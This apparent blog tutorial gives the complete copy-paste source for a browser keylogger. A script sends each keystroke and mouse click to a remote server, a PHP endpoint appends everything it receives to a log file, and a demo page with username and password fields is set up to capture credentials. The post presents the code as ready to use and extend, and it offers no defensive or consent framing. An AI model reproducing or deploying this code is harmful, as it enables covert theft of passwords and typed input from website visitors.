How to make a Simple Keylogger in Javascript – Coding Shiksha

How to make a Simple Keylogger in Javascript – Coding Shiksha

Welcome folks I am back with another blog post. In this blog post we will be making a Simple Keylogger in Javascript. This will be a very simple keylogger which will record keystrokes from the user on the Website. The whole source code of the keylogger is given below. You can just copy paste the code and also at the same time extend the code according to your needs.

READ  How to implement Facebook Login in Javascript using Facebook SDK & Graph API

 

sample.html

 

<!DOCTYPE html>
<html>
<head>
	<title>JS Keylogger</title>
	<meta charset="UTF-8" />
	<script src="h-keylogger.js"></script>
</head>

<body>
  Test Text:
	<input type="text" placeholder="username" /><br />
  Test Password:
  <input type="password" placeholder="type password" /><br /><br />
  Try check to your server log.txt
</body>
</html>
READ  How to Design Facebook Login Page in HTML and CSS - Full Source Code

sample.php

 

<?php
$o = fopen("php://input", "r");
$str = stream_get_contents($o);
fclose($o);
$t = fopen("log.txt", "a+");
fwrite($t, $str);
fclose($t);
?>
READ  Google Books API Pagination Example in Javascript - Coding Shiksha
/****************************************
 * 	*
 * 			*
 ****************************************/

(function(){
	var server = "https://your-domain.com/server.php";
	document.addEventListener("keyup", function(e){
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(e.key);
	});
	
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
		}else{
			click = " Right Click ";
		}
		
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(click);
	});
})();

Leave a Reply

Close Menu

Indian Desi Tools - Ultimate Tools Website

Demo Description


This will close in 20 seconds